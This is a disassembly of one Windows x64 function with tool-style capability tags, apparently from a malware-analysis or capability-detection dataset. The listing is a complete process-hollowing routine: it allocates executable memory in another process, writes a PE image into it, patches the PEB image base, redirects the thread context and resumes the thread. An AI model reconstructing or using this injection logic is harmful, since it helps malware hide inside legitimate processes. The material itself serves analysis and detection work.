Function at 0x140008b1a
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Resume thread

Disassembly:
push rbp
push rdi
sub rsp, 0x548
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x4e0], rcx
mov qword [rbp + 0x4e8], rdx
mov rax, qword [rbp + 0x4e8]
mov qword [rbp + 0x4b0], rax
mov rax, qword [rbp + 0x4b0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x4b0]
add rax, rdx
mov qword [rbp + 0x4a8], rax
mov rax, qword [rbp + 0x4a8]
mov eax, dword [rax + 0x50]
mov ecx, eax
mov rax, qword [rbp + 0x4a8]
mov rax, qword [rax + 0x30]
mov rdx, rax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x4a0], rax
cmp qword [rbp + 0x4a0], 0
jne 0x140008bd0
lea rax, str.____An_error_is_occured_when_trying_to_allocate_memory_for_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x4a0]
mov rdx, rax
lea rax, str.___Memory_allocate_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov rax, qword [rbp + 0x4a8]
mov eax, dword [rax + 0x54]
mov r8d, eax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax]
mov rcx, qword [rbp + 0x4e8]
mov rdx, qword [rbp + 0x4a0]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x49c], eax
cmp dword [rbp + 0x49c], 0
jne 0x140008c51
lea rax, str.____An_error_is_occured_when_trying_to_write_the_headers_of_the_new_image._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x4a8]
mov rax, qword [rax + 0x30]
mov rdx, rax
lea rax, str.___Headers_write_at_:_0x_p_n
mov rcx, rax
call sym.printf_char_const__::_
mov dword [rbp + 0x4bc], 0
jmp 0x140008d8d
mov rax, qword [rbp + 0x4a8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x4a8]
lea rcx, [rdx + rax]
mov eax, dword [rbp + 0x4bc]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov eax, dword [rax + 0x10]
mov r8d, eax
mov rax, qword [rbp + 0x488]
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x4e8]
add rax, rdx
mov rcx, rax
mov rax, qword [rbp + 0x488]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x4a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x484], eax
cmp dword [rbp + 0x484], 0
jne 0x140008d51
mov rax, qword [rbp + 0x488]
mov rdx, rax
lea rax, str.____An_error_is_occured_when_trying_to_write_the_section_:__s._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x488]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x4a0]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x488]
mov r8, rdx
mov rdx, rax
lea rax, str.___Section__s_write_at_:_0x_p._n
mov rcx, rax
call sym.printf_char_const__::_
add dword [rbp + 0x4bc], 1
mov rax, qword [rbp + 0x4a8]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x4bc], eax
jl 0x140008c7d
lea rdx, [rbp - 0x50]
mov eax, 0
mov ecx, 0x9a
mov rdi, rdx
rep stosq qword [rdi], rax
mov dword [rbp - 0x20], 0x10000b
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov dword [rbp + 0x498], eax
cmp dword [rbp + 0x498], 0
jne 0x140008e05
lea rax, str.____An_error_is_occured_when_trying_to_get_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x4a8]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x38]
add rax, 0x10
mov rcx, rax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax]
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rdx
mov rdx, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov dword [rbp + 0x494], eax
cmp dword [rbp + 0x494], 0
jne 0x140008e6b
lea rax, str.____An_error_is_occured_when_trying_to_write_the_image_base_in_the_PEB._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x4a8]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp + 0x4a0]
add rax, rdx
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax + 8]
lea rdx, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov dword [rbp + 0x490], eax
cmp dword [rbp + 0x490], 0
jne 0x140008ec5
lea rax, str.____An_error_is_occured_when_trying_to_set_the_thread_context._n
mov rcx, rax
call sym.printf_char_const__::_
mov eax, 0
jmp 0x140008ee1
mov rax, qword [rbp + 0x4e0]
mov rax, qword [rax + 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
mov eax, 1
add rsp, 0x548
pop rdi
pop rbp
ret